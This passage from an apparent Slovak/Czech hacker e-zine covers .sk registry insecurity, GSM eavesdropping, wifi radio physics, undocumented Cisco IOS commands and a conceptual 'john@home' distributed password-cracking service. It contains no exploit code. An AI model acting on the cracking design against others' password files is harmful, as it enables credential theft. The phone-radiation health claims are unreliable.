slabom neznackovom hardveri bez hardverovej redundancie. cely system je nespravne navrhnuty, zle zabezpeceny a slendriansky adminovany. ak niekto takyto system
vyradi z prevadzky (ako sa nedavno stalo, viz http://www.sme.sk/clanok.asp?cl=1084608), je ohrozene fungovanie celeho slovenskeho internetu. ak sa utocnik zmocni
sk-nicu, dokaze nevidane veci - napriklad presmerovat webovske stranky internet bankingu nejakej banky na svoj pocitac a odchytavat hesla (ano viem, zmeni sa SSL
certifikat, ale kolko percent ludi klikne bezmyslienkovo po upozorneni browsera "OK" ?), alebo vymenit webovske stranky www.eurotel.sk za www.orange.sk, alebo
rovno za vas oblubeny porno server.. pri experimentoch so starym systemom sk-nic sa odhalil fakt, ze system uz bol niekym v minulosti naburany, niekto tam
zanechal po sebe stopy. ktovie kto to bol a naco vyuzil fakt ze mal pod palcom cely slovensky internet.. nezmizla vam z uctu nedavno velka suma penazi ?

zaverom este poznamka k jednej nedavnej kauze na slovensku.
SIS odpocuvala redaktorov dennika SME a nasledne aj vojenskych prokuratorov
ktori to cele presetrovali. informoval o tom napriklad dennik sme na http://www.sme.sk/clanok.asp?cl=1034730
. v spravach prebehol aj jeden technicky detajl, ktory si azda nikto velmi
nevsimol. okrem toho ze bol niekto schopny odpocuvat telefonaty vysetrovatelov,
co azda nie je az take technicky narocne, dokazali odpocuvat zjavne prostrednictvom
gsm telefonu aj rozhovory mimo telefonatov, napriklad ked sa dvaja prokuratori
spolu rozpravali na ulici. ked som kedysi pocul prihody o tom ako si top
manazeri na mitingoch vypinaju mobily a vyberaju z nich baterky, lebo je
udajne mozne na dialku tajne aktivovat mikrofon mobilu a odpocuvat cez neho
bez toho aby prebiehal telefonat, smial som sa na tom. tato kauza je prvy
dokaz ze je to asi predsa mozne. existuje spiknutie vyrobcov gsm telefonov
a firmwary mobilov obsahuju aj taketo vlastnosti ? nikdy sa to asi so 100%
istotou nedozvieme, mozeme proti tomu ale nieco spravit. hlasove a datove
prenosy sa zlucuju, ak sa nam podari vybudovat volne wifi siete podla vzoru
blava.net, dokazeme v dohladnej dobe postavit si vlastnu mobilnu siet s pokrytim
celej blavy a neskor azda aj celeho slovenska, z ktorej sa bude dat volat
zadarmo, anonymne a sifrovane. cisco uz predava prve wireless ip telefony
ktore podporuju 802.11, viz http://www.cisco.com/en/US/products/hw/phones/ps379/ps5056/



tesim sa na cas, ked ukazeme vztyceny prostrednik operatorom gsm sieti, zahodime ich telefony a budeme pouzivat vlastnu
anonymnu a sifrovanu siet. jedina moznost ako sa vymanit spod nechceneho dohladu firiem a vlady je vziat si kontrolu
nad svojim sukromim do vlastnych ruk. v dohladnom case chceme vytvorit tim ludi, ktori by zacali experimenty s ip
telefoniou na otvorenych wifi sietiach. kazda pomoc vitana.


tiez asi stoji za zmienku ze toto je zjavne posledne vydanie prielomu. v oktobri
prechadzame na novy system, kde sa budu clanky pridavat po jednom na prednu
stranku hysterie. prosim minutu ticha.




pajkus, pajka (zavinac) hysteria (bodka) sk



navrat na obsah

co ty na to ? board






tak co kajo, jakej mas signal ?



Tento clanok vznikol ako odozva na seriu "WiFi jazda..." a pokusi sa osvetlit niektore technicke detaily radioveho
spojenia.


Prielom 19, wifi jazda 2:


>>>maximalny pocet kanalov bez ich vzajomneho prekrytia (tym padom degradacie kvality signalu je 3! (napr 1,6,11).



Nie je to pravdiva domnienka. Horsia kvalita signalu by bola, keby sa neprekryvali, to, ze sa prekryvaju, este
neznamena, ze si zavadzaju. Najma kvoli sumovym parametrom je pouzita modulacia s rozprestretym spektrom. Spread
spectrum je sposob vysielania napr. FM modulaciou, ked mame vysielanu sirku pasma neumerne vacsiu ako je potrebne, ci
vhodne. Vstupny pomer signal/sum (C/N) moze byt katastrofalny, ale v demodulatore sa tento rapidne zlepsi. Pri FM
prenose pomer zlepsenia odstupu S/N je s druhou mocninou indexu modulacie (zhruba zodpoveda pomeru vystupnej sirky
pasma (modulacna sirka VF signalu) a vstupnej sirky pasma - napr. audio signalu.) Pre nejaku lepsiu definiciu musim
pozriet knizku. (napr. "Vysokofrekvencni prijimaci technika", Doc. Vaclav Zalud, CSc.; SNTL/Alfa, 1986, pozn. red.) FM
rozhlas - mono - ma vysielane spektrum 75kHz, sirka pasma prenasanej informacie je 15kHz. Pomer je 5. Zlepsenie na
demodulatore je 5^2 = 25. Ak je tento pomer >> 1 zacinaju sa vlastnosti drasticky menit. Takym vysielanim mozem
prekryt
ine (najma uzkopasmove - z pohladu nasho sirokeho spektra) kanaly bez toho, aby tie nejako spozorovali moju pritomnost
na kvalite ich prijmu. Taktiez ja pozorujem ucinok spread spectrum signalu na obrovskom odstupe signal/sum a
uzkopasmove stanice ktore som svojim vysielanim prekryl nemaju vyznamnejsi vplyv. Toto si je mozno priblizne odskusat v
praxi pri konstrukcii malej superreakcnej vysielacky na nekvalitne FM radio. V sirokom rozsahu ladenia sa radio nevie
sustredit na ine stanice, ale ked sa signal zacne stracat vplyvom znizovania vykonu, tak zmizne nahle.




>>> pod mostom snp, prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu:

>>> IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"

>>> Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6

>>> Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3

>>> Retry limit:4 RTS thr:off Fragment thr:off

>>> Link Quality:4/92 Signal level:-89 dBm Noise level:-93 dBm

>>> Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:32

>>> Tx excessive retries:213 Invalid misc:0 Missed beacon:0



Pri prehliadnuti tohto vypisu je vidiet vyhody SS modulacie. Pri odstupe signal/sum=2.5 nasobok na vstupe bola
karta schopna nadviazat spojenie 1Mbit rychlostou.




>>>realna priepustnost 802.11b v 11Mbps rezime, tak je to maximalne 5Mbps.

>>>zysok sa strati pri signalizacii, hlavickach atd.. aby som nezabudol, tato technologia je half-duplex.



Presnejsie povedane: Nasa stanica je na prijme. Ak uvazi, ze sa nic nedeje, tak prepne do vysielacieho rezimu,
zaklucuje daky paketik modulacnou rychlostou 11Mbps. Az skonci, da si pauzu a potom prepne do prijimacieho modu. Druha
stanica po prijati paketu porozmysla, vycka ustanovenu dobu prepinania naprotivnej stanice a moze vysielat. Tu je
vidiet, ze "protocol overhead" nieje az taky problem, skor by bolo vhodne mat anteny s malym PSV a rychlym prepinacom
vysielanie/prijem na vsetkych zucastnenych staniciach. Taktiez prechod na DAMA namiesto CSMA by urychilo veci v mnohych
pripadoch. Zjednodusene: DAMA je pristup, kedy jedna stanica hovori ostatnym, kedy mozu hovorit. CSMA je ako ked
neznami ludia sedia pri kave a kazdy pozera, ze "kto zacne rozpravat skor". Ak zacnu nahodou dvaja naraz, nastane maly
konflikt. CSMA pouziva cakacie intervaly (od poslednej komunikacie na kanale), byvaju nastavitelne - a kazda stanica
mava iny, aby nezacali nahodou naraz. Kombinaciou s DAMA "mluv, jen kdyz si tazan" by sa dala lepsie vyuzit casova
domena. Taktiez ak by sme mohli v sirokom rozsahu nastavovat velkost packetu, mohlo by to zefektivnit prenosy.
(Nenapise niekto z vas vlastny podstandard WiFi :)?)




>>>vystupny vykon 30-40mw (13-16 dbm) ... vykon 100-200mw (20-23 dbm)



1. mW

2. dBm (kolega... ako v UNIX-e, aj tu zalezi na pismenkach, S nieje s (Siemens, sekunda))

3. 13dBm je 20mW



Ak by sme pouzili napatovu decibelovu stupnicu, vyslo by nespravne z hore uvedeneho: 4.46-6.31mW a to druhe 10-14.13mW.
Preto je na mieste technicka poznamka z Amaterskeho radia:



AR B 1996/1, s. 6



Decibely a logaritmy v elektronice



Decibel je logaritmicka pomerova jednotka, pojmenovana po vynalezci telefonu
(Alexander Graham Bell 1847-1922). Pro zpracovani velkeho rozsahu velikosti nej-
ruznejsich velicin je vyhodne pouzit logaritmy.



Decibely v elektronice byly definovany pro pomer vykonu (Ap = P2 /P1 ). Proto-
ze zakladni jednotkou neni bel, ale decibel, musi se logaritmus vynasobit deseti:
Ap = 10log(P2 /P1 ).



Predpokladame-li stejnou vstupni a vystupni impedanci, lze definovat decibe-
ly i pro napetovy prenos, protoze po dosazeni za vykony P2 = U2^2 /R; P1 = U1^2 /R se
impedance krati:


Ap = 10log(U2^2 /U1^2 );

Au = 20log(U2 /U1 ).




K tomu uz len poznamenam ze v technike operacnych zosilnovacov a audio techniky a tam, kde vstupny odpor ve velky sa
takmer nepouziva vykonova dB stupnica (10dB = 10x), ale napatova dB stupnica (20dB = 10x). Preto si treba davat pozor
na to, ci text hovori o urovni napatia, ci vykonu, pripadne napatovom, ci vykonovom zosilneni. Citat pokracuje:




I kdyz je decibel bezrozmerna jednotka, pouziva se i pro vyjadreni velikosti napeti nebo vykonu. V tom
pripade se zvoli tzv. referencni uroven, s niz se napeti nebo vykon porovna. Nejcasteji se voli
P1 = 1 mW na impedanci 600 ohm. Tomu odpovida referencni uroven napeti U1 = sqrt (P1 * R);
sqrt (1 mW * 600 ohm) = 0,775 V (P1 = U1^2 /R).



V antenni technice se lze setkat jeste se vztaznou urovni jeden mikrovolt. Byva zvykem zduraznit vztaznou uroven
indexem:



Lu = 20log(U/0,775) [dBm]; (m - miliwatt)

Lu = 20log(U/10^-6 ) [dB�]; (� - mikrovolt).



Decibely usnadnuji vypocty prenosu slozitejsich soustav, protoze zlogaritmovanim se nasobeni prevede na scitani
logaritmu. Typickym prikladem je antenni rozvod, kde se od vstupni urovne signalu odecte utlum souoseho kabelu dane
delky a navrhne se zisk predzesilovace pro zadanou uroven napeti na vstupu prijimace.





>>>breezcomy pouzivaju frequency hopping (vyvinutu pre potreby vojenskeho priemyslu v irane)



Ehm. Aj GSM telefony pouzivaju frequency hopping a nemyslim, ze by si ich objednali vojaci z Iranu. Frequency hopping
nieje nic ine ako prepinanie pouzivanych komunikacnych kanalov za chodu podla urciteho pravidla. Najma v spojeni s SS
(spread spectrum) je to silny nastroj na ucinne vyuzitie pasma a zlepsenie pomeru signal/sum.




>>>oznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech

>>>ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na

>>>hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.




Este jeden podstatny skoro_detail. Radiova viditelnost a opticka viditelnost su si na GHz pasmach velmi blizke. Takze z
takej "vyskovej budovy" na kopci PCMCIA WiFi karta musi mat obrovsky dosah. Zakonne alebo ine rozumne limity nemusia
byt prekrocene. A pokial si to dodnes WiFijazdari v aute nevsimli - aj oni mali taky obrovsky dosah az ku vysielacu
kamziku ako on k nim bez toho, aby ste mali specialny vystupny vykon. Ak dve WiFi karty so zabudovanymi antenami
zvladnu komunikaciu 300m v betonovej budove, na volnom priestranstve, kde obidve umiestnime na 100m vysoke stoziare aby
sme vylucili vplyvy okolia musia mat spojenie aspon na 300*sqrt(zisk signalu) - odhadujem 1340m. Pre maximalny dosah
spojenia medzi dvomi antenami (odborne povedane ziaricmi) je dolezite aby im v ceste nestalo vela prekazok.
Elektromagneticke vlnenie sa totiz rozprestiera do zvazku omnoho sirsieho ako je jeho vlnova dlzka, pripadne velkost
anten - podobne ako rozkmitane lano medzi dvomi bodmi. Tu je dolezite poznat parametre sirenia z kvantovo-mechanickeho
pohladu. Chceme vediet, ci mame volnu "prvu Fresnelovu zonu". Napriklad pri vzdialenosti stanic 20km a frekvencii
2.4GHz mame uprostred prvu volnu Fresnelovu zonu velku asi 25 metrov. Ak by sme medzi nase dva ziarice postavili
pohltivu prekazku s priemerom 30m je mozne, ze by sa nedalo nadviazat radiove spojenie za danych podmienok. Viac
informacii v [2]; strana 125. Pre zaujimavost: Sonda Pioneer_10 este po 30 rokoch (januar tohto roku) komunikovala so
Zemou z vzialenosti par svetelnych hodin (alebo dni) s vykonom mensim ako 8W (8W to bolo pred 30rokmi.)




>>>ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na

>>>hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.




K tym karfiolom na hlavach a GSM: Nedavno v Nemecku na potkanoch vyskumali ako to s tym vplyvom telefonov je. Nieje to
tak, ze by vysielanie telefonu prilisne zohrievalo mozog, hoci castokrat je to oteplenie vyrazne. Vysielanie GSM
telefonu ma vplyv na cievy. Pre tych ktori zmeskali toto ucivo na strednej skole: Mozog je jediny organ ktory je
dokonale izolovany od vonkajsieho sveta niekolkymi obalmi a nielen to. Vyziva nasho mysliaceho centra je
sprostredkovana cez hrubu izolaciu a len glukoza a kyslik maju pristup k neuronom. S takym niecim 'prizemnym' ako su
vlasocnice tenke hoci len par mikrometrov sa neurony nebavia. Maju dolezitejsiu pracu. Kontakt s niecim inym ako je ich
stabilizovane prostredie bud narusi funkciu, alebo sposobi umrtie neuronu, co je pripad ak cez stenu vlasocnic prenikne
nieco ine ako to co tam ma byt. Napriklad take krvne biekoviny. A to je prave pripad absorbcie vysielania MT v mozgovej
hmote. Tento vplyv sa straca pri vzdialenosti 2-3m od vysielajuceho telefonu. Takze ak nabuduce pocitite bolenie hlavy
na tej strane kde telefonujete, hadajte asi preco. Este jedna poznamka: nadmerna konzumacia alkoholu nesposobuje umrtie
neuronov - len poodpajanie ich synapsii. V sulade s tymto poznatkom sa podarilo zlepsit stav niektorych pacientov
trpiacich demenciou urcitym pripravkom.




raman (ra dio man)



[1] horeuvedena kniha

[2] Amaterske Radio - rada B, c.4/1995 - Tematicke vydanie o stavbe a navrhu anten, odporucane ako zaciatok pre navrh
vlastnej (lacnej) antenky pre WiFi

[3] AR B 1996/1, s. 6

[mnoho dalsich]




navrat na obsah

co ty na to ? board






menej zname fakty o vyrobkoch spolocnosti cisco




Tento clanok ma za ucel oboznamit citatelov len a len s vecmi z nadpisu, teda s menej znamymi faktami
o vyrobkoch spolocnosti Cisco. Zaujimat by mohol najma uzivatelov tychto zariadeni. Nechcem vzbudzovat
kladne ani zaporne emocie, ani nic propagovat.




1) Uvod



Preco sa zaoberat s vyrobkami konkretneho komercneho vyrobcu? S produktami spolocnosti Cisco sa totiz stretavame
ovela viac, ako si vacsina ludi uvedomuje. Cisco vyrobilo vacsinu routrov a switchov, pouzivanych
v telco a ISP sietach. Velky podiel ma aj na trhu zakaznickych routrov - CPE. Mnozstvo ludi, pracujucich
u poskytovatelov internetu, sa teda musi dennodenne borit s ciscami a hladaju si cesticky, ako si pracu
ulahcit, pripadne par korun usetrit. Dal som teda dokopy par zaujimavych tipov, ktore v prirucke k
svojmu routru urcite nenajdete.



2) Nedokumentovane prikazy



Beznou praxou vyvojarov je zabudovat si do softwaru rozne prikazy umoznujuce debugovat rozne subsystemy.
Tieto prikazy sa nedostanu do dokumentacie, ale casto su velmi uzitocne. Na adrese
http://www.boerland.com/dotu/ najdeme asi najznamejsi pokus zhromazdit tieto prikazy pre operacny system IOS,
Project DOTU. Dalsim miestom, kde hladat nedokumentovane prikazy IOS-u a ich vyznam, je stranka Undocumented
Cisco commands (http://www.elemental.net/~lf/undoc/).

Uvediem pre zaujimavost tie, ktore povazujem v mojej praxi za najuzitocnejsie.



if-console



Na distribuovanej platforme 7000/7500 je mozne sa prihlasit do jednotlivych kariet, ktore bezia vlastnu
verziu IOS-u. Moze byt uzitocne na zobrazenie diagnostickych udajov o karte, pripadne reload jednotlivej karty.
Pouzitie - if-console <cislo karty> console. Odchadza sa cez if-quit alebo 3x Ctrl-C. Je jasne, preco Cisco
neposkytuje podporu k tomuto prikazu, nepremyslenym zasahom je totiz lahko mozne zrutit cely system.
Ak potrebujeme len udaje o pamati a vytazeni CPU z jednej karty, lepsi je prikaz

show controller vip tech-support, napr. show controller vip 0 tech-support | inc CPU

Na GSR je ekvivalentom k if-console prikaz attach.



csim



Na voicovych platformach simuluje iniciovanie hovoru. Dobre, ak nemame po ruke telefon a potrebujeme nieco
zdebugovat. Pripadne, ak chceme simulovat hovor zo vzdialeneho miesta k sebe.

Pouzitie - csim start <telefonne cislo>




test



Prikaz test umoznuje vyvolanie niektorych situacii, ktore by sme inac museli simulovat v labe.
Napriklad test aaa group umoznuje overit, ci spravne prebieha autentikacia.
Dolezity je prikaz test crash, ktorym sa dostaneme do menu, v ktorom si mozeme vybrat, aky crash chceme simulovat.
Zaujimave najma pri nahravani IOS-u na mensiu flash, ako odporuca Cisco (da sa to, pokial sa samozrejme image
zmesti, ale v pripade crashu sa na flash uz nezmesti crashinfo a router sa na tom zasekne a uz nenaskoci bez
manualneho vypnutia/zapnutia. Tymto mozeme reakciu routra otestovat). Vypadok je vhodne vediet simulovat
aj pri testovani redundantneho riesenia. Dalej mozeme s takto ziskanymi subormi crashinfo vo volnom case
zabavat seba aj pracovnikov technickej podpory Cisca.



Nedokumentovanych prikazov je naozaj dost a oplati sa prehrabat sa v nich a najst si nieco, co v praxi velmi
pomoze.




3) Kompatibilita prislusenstva



Cena pamati a flash pamati do cisc su velmi vysoke. Casto sa nam stane, ze napriklad mame v supliku pamate pre
platformu X a naopak musime zakupit pamate pre platformu Y. Po troske experimentovania zistime, ze medzi
niektorymi platformami mozeme pamate aj flashky smelo zamienat. Nenasiel som nikde jasne povedane, co je mozne
zamienat s cim, ale dal som dohromady niekolko odskusanych tipov.



3620/3640 <--> AS5300 - pamate aj flash.

Pamat je vraj kompatibilna aj s AS5200.

Flash je dalej urcite kompatibilna s 2600 a vraj aj s 2500 (to som neskusal).



1700 <--> 800 - pamat aj flash, pozor vsak na obmedzenia platformy; 800 vie vyuzit len 16MB RAM, flash sa da
pridat len 4MB.


1600, 2500 - pamat je obycajna PCckova 72-pinova 60ns SIMka, pri troche stastia a skusania sa vzdy nieco najde.


Ak pouzijeme dve flashe a IOS nam ich odmieta spojit do jedneho logickeho zariadenia (pripad 3640), pomoze upload
IOS-u cez xmodem v ROM-monitore.


V pripade 3640 je lepsie si najprv precitat manual, kde sa pise o tom, ze rychlejsi 64-bitovy mod dosiahneme len
s osadenim pamati v paroch a s rovnakou velkostou aj pristupovou dobou.


Zaujimava vec sa ukazala po otvoreni routra Cisco 805, kde je vidiet, ze seriovy port je vlastne integrovany WIC-1T
so smart-serial rozhranim. V pripade poruchy, pripadne nedostatku SS kablov je mozne zamenit za normalny WIC-1T
a urcite by stalo za to pokracovat vo vyskume rady 800 - mozno by sa dala upgradovat 801/803 na 805 a podobne.


Network moduly - pouzivane v radach 2600, 3600. Zamenitelne medzi radami. Aj ked dokumentacia hovori, ze nie su
hot-swappable, je mozne ich z routra za jazdy vybrat a vlozit tam dalsi, avsak len rovnakeho typu. Prakticke pri
poruche, nesposobi sa vypadok, zachovaju sa uzivatelske sessiony aj routing. Pre 3660 je tato vlastnost uz aj
oficialne zdokumentovana Ciscom.


Nedavno som sa dopocul aj jednu velmi zaujimavu vec, ktoru by som sa vsak bal vyskusat. Po drobnej hardwarovej
uprave je mozne network module vlozit aj do routra typu 7200. Na prvy pohlad rozmery sedia, konektor PCI je zhodny,
tak preco nie. Prekaza kovovy ram na network module, ktory je ale mozne odpojit. Tuto zalezitost ale pokladam
len za zaujimavost a neodporucam skusat, pretoze by sme mohli docielit skodu radovo niekolkych stotisicov korun,
a tak nech radsej stare network moduly odpocivaju aj dalej v supliku.



4) Third party components



Kedze Cisco nasadilo pre svoje vyrobky privysoke ceny, velmi rozsireny je trh s komponentmi od inych vyrobcov.
Cisco nakup komponentov od inych vyrobcov (okrem vynimiek) silne neodporuca.


Velke sumy sa daju usetrit pri nakupe pamati, flash, seriovych kablov, GBICov - gigabitovych konvertorov.
Je to samozrejme tak trochu hazard, ktory velki provideri - najma pri pamatiach - nerisknu (kvoli riziku zlyhania
aj kvoli strate naroku na podporu), ale pre bezneho uzivatela to moze byt po dokladnom teste slusny sposob uspory.



Existuju vyrobcovia, ktorych pamate Cisco certifikuje - cize uzna ich pri podpore, ale zasa pocul som dvakrat
o pripade zlyhania pamate od takto certifikovaneho vyrobcu. Dolezitym prvkom teda urcite je dokladne otestovanie
komponentu pred jeho zapojenim do siete.

Niekedy je dokonca mozne zakupit pamate od toho isteho vyrobcu, ktory ich dodava Ciscu, cize su to tie iste, len
bez nalepky Cisco.


Usetrit sa da aj uplnym nahradenim komponentu niecim inym: PCMCIA (cardbus) flash karty, ktore vedia vyuzit
routre 1600, 3600 a vyssie platformy ako napr. 7200, je mozne zamenit nie len third party kartami, ale aj
redukciou z PCMCIA na compactflash, ktore sa vo velkej miere vyuzivaju napriklad v digitalnych fotoaparatoch
alebo PDA. Ak sa chce niekomu v tomto smere dalej experimentovat, mohol by vyskusat, ci neprinuti s routrom
komunikovat karty Smartmedia, SD/MMC alebo dokonca memorystick. Extremom by mohlo byt pouzitie redukcie z PCMCIA
na IDE rozhranie a pripojenie normalneho harddisku z PCcka.



5) Third party software



Dalsou kapitolou je software, ktorym sa Cisco rado chvali a velmi nam ho chce predat.



Cisco predava svoj vlastny network management software, Cisco Works. Je to komplexny network management software,
skladajuci sa z mnohych komponentov. Tie z jeho komponentov, ktore ma vobec zmysel vyuzivat, je mozne nahradit
bud free softwarom alebo si pripadne casti jednoducho dopisat. Otazkou je, ak toho potrebujeme vela, ci nam bude
vlastny software tak pekne spolupracovat. V pripade vacsiny sieti vsak nie je dovod Cisco Works kupovat.


Dalsou ukazkou nahraditelneho softwaru je Gatekeeper, pouzivany pri H.323 hlasovych rieseniach. Casto sa da nahradit
napriklad volne siritelnym unixovym programom OpenH323 Gatekeeper. Ani gatekeeper od Cisca ani OpenH323 vsak
nevyhovuje narokom naozaj komplexnych rieseni a profesionali siahnu po vhodnejsom rieseni napriklad od spolocnosti
Clarent.




6) Konkurencia



Ked sme uz prekrocili tabu a nakupujeme prislusenstvo k ciscam od ineho vyrobcu, preco rovno nekupit rovno
cely router/switch/gatekeeper atd.? Odpovedi je viacero - kvalita, jednotne rozhranie a management, ale casto aj
neznalost vyrobkov konkurencie. Pri mensich CPE, ako aj pri ethernetovych switchoch nam staci precitat si dokumentaciu
vyrobkov od roznych vyrobcov, vybrat si vyrobok podla svojich potrieb a moznosti a otestovat ho. Ako je to vsak
pri vacsich zariadeniach, high-end routroch?


Cisco nam samozrejme, tak ako nikto na svete, nepovie nic dobreho o svojej konkurencii a tak sa musime poobhliadnut
niekde inde. Vlajkovou lodou Cisca je router GSR 12000. Tento router bol spolu so svojim najvacsim rivalom M160
od spolocnosti Juniper Networks a dvoma dalsimi otestovany spolocnostou Light Reading a ako uz prva veta clanku
(http://www.lightreading.com/document.asp?doc_id=4009) hovori, Juniper Wins! Clanok je treba citat velmi pozorne.
Obidva routre, GSR aj M160 podali totiz uz pred dvoma rokmi neuveritelny vykon, aky nebudeme este niekolko rokov
potrebovat. Obidva routre teda urcite splnaju (ohladom vykonu v testovanych kategoriach) aj najnarocnejsie
poziadavky backbonovych providerov. Napriek tomu Cisco vydalo tlacove vyhlasenie, kde si trosku prekrutili vysledky
a vyhlasili, ze vyhrali oni. Reakciu Light Readingu si je mozne precitat tu -
http://www.lightreading.com/document.asp?doc_id=4173.


Preco sa o tom zmienujem? Aby sme sa mohli nabuduce usmievat popod fuzy, ked budeme od reprezentantov Cisco pocuvat,
aki su najlepsi na svete. Aby sme mali pripravene technicke otazky tazkeho kalibru na reprezentantov spolocnosti Juniper.


7) Zaver


Ak ste docitali az sem a este stale si pamatate co-to z uvodu, uviedol som, ze Cisco ma s velkou prevahou
najvacsi podiel na trhu high-end routrov a switchov. To v praxi znamena, ze kazdy packet, ktory
posleme alebo prijmeme z internetu, presiel s najvacsou pravdepodobnostou cez niekolko zariadeni Cisco.
Ich zabezpecenie je teda kriticky dolezitou zalezitostou. Nieco sa uz o tejto problematike popisalo, ale
nevyzera to, ze by si to administratori velkych sieti brali k srdcu. Ak prejavite zaujem, mozno sa vo vasom
oblubenom online casopise o kompjutr undergrounde coskoro nejaky clanok na tuto temu objavi.


sim@hysteria.sk


navrat na obsah

co ty na to ? board






john@home


nsa@home



urcite vsichni znate seti@home, nie ? takova ta vec co hleda ufouny a ma
fasa setric
. tohle to si alespon mysli drtiva vecina jeho uzivatelu.
ale proc jsou klienti closed source ? proc je sitova komunikace tak obfuscovana ? proc
jakekoliv pokusy o reverse engeneering selhaly ? lidi z projektu seti@home se brani tim
ze se tim pokousi zamezit cheatovani, kdyby meli klienty opensource tak si je kazdy muze
upravit aby poskytovali fake results. imho je pravda nekde jinde - protoze treba konkretne
tento problem se da resit poslanim jednoho bloku vice lidem (coz se dela stejne kvuli nestabilite
klientu) a zaznamenat si prubezne nejake states vypoctu a ty odeslat s results, pokud jeden
klient podvadel, prijde se na to.



jen si to vemte, seti@home ma zhruba 4,5 milionu ucastniku. rekneme ze kazdy average comp (amici maj
nabuseny masiny a moc koukaj na tv) ma asi tak 1000 bogomips, to mame nejakych 4,5 miliardy
bogomips, to uz je celkem solidni vykon na louskani treba rsa384 klicu. mozna by se meli
prejmenovat nsa@home :) a i kdyby ty klienti opravdu delali furierovu analyzu, ok, dejme tomu,
tak co treba takovy echolon ? z neho proudi terabajty dat pcm kodovanych telefonich hovoru
jez je treba prohnat voiceanalyzou na pattern matching "nebezpecnych" slov. (usama, arab,
bomba, teror, letadlo, jahodovy syrup...). na to by byl prece takovy cluster jako delany, ne ?
ale zanechme teorii. takze ted uz jsem vas presvedcil ze seti@home je spatne. a ted co je (resp. bude) dobre: nedavno
se mi jeden clovicek pochlubil dosti zajimavym napadem. urcite vsichni poznate johna, fasa vecicku na crackovani hesel
jez s dobrymi vstupnimi daty (tj. slovniky) dokaze delat divy. a ted si vemte kdyby se vzalo fazole.cz, seti@home a
john a smatlalo se to dohromady. o cem je rec ? samozrejme ze cpu time exchange.



john@home



zapomeli jste nejake heslo ? potrebujete cracknout zapomenutou passphrase k ssh klici ?
tak vezte - predstava je asi takova, borec prijde na sajtu a pastne tam passwd fajl (alebo hocico), z neho se vykopou
zakryptovana hesla (usernames se dropujou rovnou, kvuli anonymite :) a rozeslou se/ulozi do fronty
(zalezi na tom v jakem levelu danej borec je, viz nize credit system) ucastnikum distributed
site. kazdy dostane range odkud kam ma zkouset hesla (incremental/podle slovniku, to se jeste
uvidi) a bud posle ze v danem range heslo neni a nebo result - cracknute heslo.
samozrejme toto by nemotivovalo lidi se aktivne zapojit, ale jen by pastovali passwd fajly,
takze se musi implementovat kredit system. za kazdy spocitany blok dostane (registrovany?)
user nejaky credit vyjadrujici napriklad 80% z celkove straveneho cpu casu (ten bude centralni
server pricitat na zaklade sirky range * koeficient "obtiznosti" pouziteho hashe) tento cas si muze nastradat na
nekolik tisic hodin (za pul rok to dela asi 4000),
klidne i simultanne na nekolika masinach pod stejnym username. a pak si samozrejme muze tento
cas vybrat, jak jinak nez tim ze submitne passwd fajl a zaradi se do fronty umerne tomu na jake
je pozici v zebricku kreditu. timto se jeho cas zpatky "vybije" v celem clusteru, pri poctu
5000 masin v clusteru to bude delat neco kolem hodiny. pokud se heslo najde drif, zbyvajici
cas mu zustava (ma stesti) bude-li heslo nekde zasite, tak si ho holt vyplejtva, ale to je
imho loterie a moc to ani nehraje roli, protoze pri velkem poctu stroju se jedna takrka o paralelni procesing.


cheatovani


narozdil od seti@home chceme byt opensource, ne ? takze pokud chceme zamezit cheatovani,
budeme vysilat tzv. trap-bloky. to bude asi tak ze obsluzny demon na serveru si vybere
nejaky range, asi tak prumer z toho co se bezne posila a z tohoto range si vybere heslo
na nahodne pozici. toto heslo zhashujeme a pekne posleme nekomu o kom se chceme presvedcit
jestli necheatuje. pokud by cheatoval obratem by poslal ze v rangi heslo neni, ale my vime
ze tam je, tak mu budeme tvrdit jako ze ok, provedeme mu to jeste tak jednou aby jsme si byli jisti a pak ho
diskvalifikujeme
(samozrejme prijde o sve body ve prospech ostatnich). tento test se bude posilat naprosto nahodne
s probability tak v jednom pripade z 10ti bloku), tj. asi tak 10% overhead, ale to je cena
za opensource. co z tohoto vyplyva - cely system funguje jako obrovsky kondenzator cpu casu.
behate klienta na svych 10ti serverech v praci a jednou za cas si muzete cracknout opravdu
solidni heslo v radech nekolika hodin.


anonymita


samozrejmosti celeho systemu je tez anonymita.
usernames se zahazujou uz kdyz uzivatel pastne passwd fajl na web, results dostane pres ssl web a/nebo na svoji
emailovou adresu (pres gpg/pgp ktere zadal pri registraci, optional) JEN ve forme listu plain cracknutych hesel
(usernames sme zapomeli) tento fajl si on nastavi jako wordlist
johnovi, a prozene tim svuj kyzeny passwd fajl. v dusledku tohoto na centralnim serveru
bude znamo jenom nejake hashe (necracknute) prirazene nejakemu nicku a nejake emailove adrese.
hashe jsou nicnerikajici dokad nejsou cracknuty a v tom momente jsou okamzite odstraneny z
databaze. komunikace mezi serverem a klientem se bude odehravat pres pocatecni rsa autentizaci
a dale uz jen pres aes session key ktery se jednou za par dni obmeni. klient ma pubkey serveru,
server ma pubkey klienta. klient si vygeneruje svuj public/secret key v prubehu registrace.
tot asi vse k security.


implementace



dnes afaik zadna neni. zatim se pohybuju jenom v obludnych teoriich a nekdy casem
se zrejme pokusim neco napsat az budu mit realnou predstavu o distributed computingu/
crackovani sifer. zatim co uz mam jakz takz vytyceno:

klientska strana bude heavily modified john + nejake custom veci
na crackovani rsa klicu, aes, des, rc4, rc5, 3des, blowfish sifrovanych veci.
serverova strana bude nejspis nejaky brutalni demon napsany v ccku konektici se na
sql db bavici se s klientama pres udp pakety (je to daleko rychlejsi nez tcp)
cely projekt je priliz monstrozni abych to zde popisoval do detailu, v kazdem pripade
by se mi naradne hodil nejaky odbornik na clustered computing a nejaky guru
pres crackovani hesel (dr.tibetor? halo? tuky tuk, je tu nekdo ? :) aby bylo mozne navrhnout
optimalni metody vypoctu a komunikace, co treba dale doresit je credit system aby byl 100ne
spravedlivy, a vubec spoustu veci. uvitam jakykoliv feedback :)




thanx 2:

